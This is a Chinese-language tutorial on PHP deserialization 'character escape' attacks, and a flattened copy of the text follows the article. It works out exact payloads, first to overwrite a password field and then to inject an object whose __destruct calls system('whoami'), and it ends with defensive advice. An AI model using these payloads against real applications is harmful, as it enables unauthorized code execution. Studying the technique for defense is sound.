详解PHP反序列化中的字符逃逸
字数 1071 2025-08-25 22:58:40

PHP反序列化字符逃逸详解

基本原理

PHP反序列化机制存在几个关键特性:

  1. 对类中不存在的属性也会进行反序列化
  2. 底层代码以;作为字段分隔符,以}作为结尾(字符串除外)
  3. 根据长度判断内容

示例:

a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}

如果添加额外内容但保持长度正确,如a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";,仍能正常反序列化。但如果修改长度,如s:4:"aaaaa",则会报错。

字符逃逸原理

当存在字符串替换操作时,可以利用替换前后字符串长度差异构造逃逸。

示例1:简单替换

function filter($string){
    return str_replace('x','yy',$string);
}

$username = "peri0d";
$password = "aaaaa";
$user = array($username, $password);

正常序列化结果:

a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}

如果将$username设为peri0dxxx,处理后变为:

a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";}

这里s:9:"peri0dyyyyyy"比原来多了3个字符。

构造密码修改

要修改密码为123456,需要添加字符串:

";i:1;s:6:"123456";}

长度为20。

计算需要多少个x

  • 每个x替换为yy,净增1个字符
  • 需要20个x来实现逃逸

最终构造:

$username = "peri0d".str_repeat('x', 20);
$password = "aaaaa";

处理后序列化结果会包含我们注入的密码修改代码。

Joomla逃逸实例

代码分析

class evil{
    public $cmd;
    public function __construct($cmd){$this->cmd = $cmd;}
    public function __destruct(){system($this->cmd);}
}

class User {
    public $username;
    public $password;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

关键点:

  1. \0*\0(3字节)替换为\0\0\0(6字节)
  2. 读取时反向替换

构造payload

目标:将password字段替换为恶意对象注入代码:

s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}

分析:

  1. 需要逃逸的字符串:";s:8:"password";s:4:"1234(长度26)
  2. 每个\0\0\0替换为\0*\0,净减3字节
  3. 需要9组\0\0\0(27字节)来覆盖

最终payload构造:

$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
$password = '1234";'.$payload."}";

执行流程

  1. 序列化时:

    • username包含多个\0\0\0
    • password包含payload和闭合符号
  2. 写入时:

    • \0\0\0被替换为\0*\0,总长度减少
  3. 读取时:

    • \0*\0被替换回\0\0\0,长度恢复
    • 但结构已被破坏,payload被成功注入
  4. 反序列化时:

    • 执行evil类的__destruct方法
    • 执行系统命令whoami

防御措施

  1. 避免在序列化数据上执行字符串替换操作
  2. 使用json_encode/json_decode替代序列化
  3. 对反序列化数据进行严格校验
  4. 使用签名机制验证数据完整性

总结

PHP反序列化字符逃逸漏洞利用字符串替换操作的长度变化,精心构造输入数据来破坏原有序列化结构,实现属性覆盖或对象注入。关键在于:

  1. 计算需要逃逸的字符串长度
  2. 根据替换前后长度差计算需要多少个替换单元
  3. 正确构造payload并闭合序列化结构
  4. 确保最终反序列化结构合法且包含恶意代码
PHP反序列化字符逃逸详解 基本原理 PHP反序列化机制存在几个关键特性: 对类中不存在的属性也会进行反序列化 底层代码以 ; 作为字段分隔符,以 } 作为结尾(字符串除外) 根据长度判断内容 示例: 如果添加额外内容但保持长度正确,如 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa"; ,仍能正常反序列化。但如果修改长度,如 s:4:"aaaaa" ,则会报错。 字符逃逸原理 当存在字符串替换操作时,可以利用替换前后字符串长度差异构造逃逸。 示例1:简单替换 正常序列化结果: 如果将 $username 设为 peri0dxxx ,处理后变为: 这里 s:9:"peri0dyyyyyy" 比原来多了3个字符。 构造密码修改 要修改密码为 123456 ,需要添加字符串: 长度为20。 计算需要多少个 x : 每个 x 替换为 yy ,净增1个字符 需要20个 x 来实现逃逸 最终构造: 处理后序列化结果会包含我们注入的密码修改代码。 Joomla逃逸实例 代码分析 关键点: 将 \0*\0 (3字节)替换为 \0\0\0 (6字节) 读取时反向替换 构造payload 目标:将 password 字段替换为恶意对象注入代码: 分析: 需要逃逸的字符串: ";s:8:"password";s:4:"1234 (长度26) 每个 \0\0\0 替换为 \0*\0 ,净减3字节 需要9组 \0\0\0 (27字节)来覆盖 最终payload构造: 执行流程 序列化时: username 包含多个 \0\0\0 password 包含payload和闭合符号 写入时: \0\0\0 被替换为 \0*\0 ,总长度减少 读取时: \0*\0 被替换回 \0\0\0 ,长度恢复 但结构已被破坏,payload被成功注入 反序列化时: 执行 evil 类的 __destruct 方法 执行系统命令 whoami 防御措施 避免在序列化数据上执行字符串替换操作 使用 json_encode/json_decode 替代序列化 对反序列化数据进行严格校验 使用签名机制验证数据完整性 总结 PHP反序列化字符逃逸漏洞利用字符串替换操作的长度变化,精心构造输入数据来破坏原有序列化结构,实现属性覆盖或对象注入。关键在于: 计算需要逃逸的字符串长度 根据替换前后长度差计算需要多少个替换单元 正确构造payload并闭合序列化结构 确保最终反序列化结构合法且包含恶意代码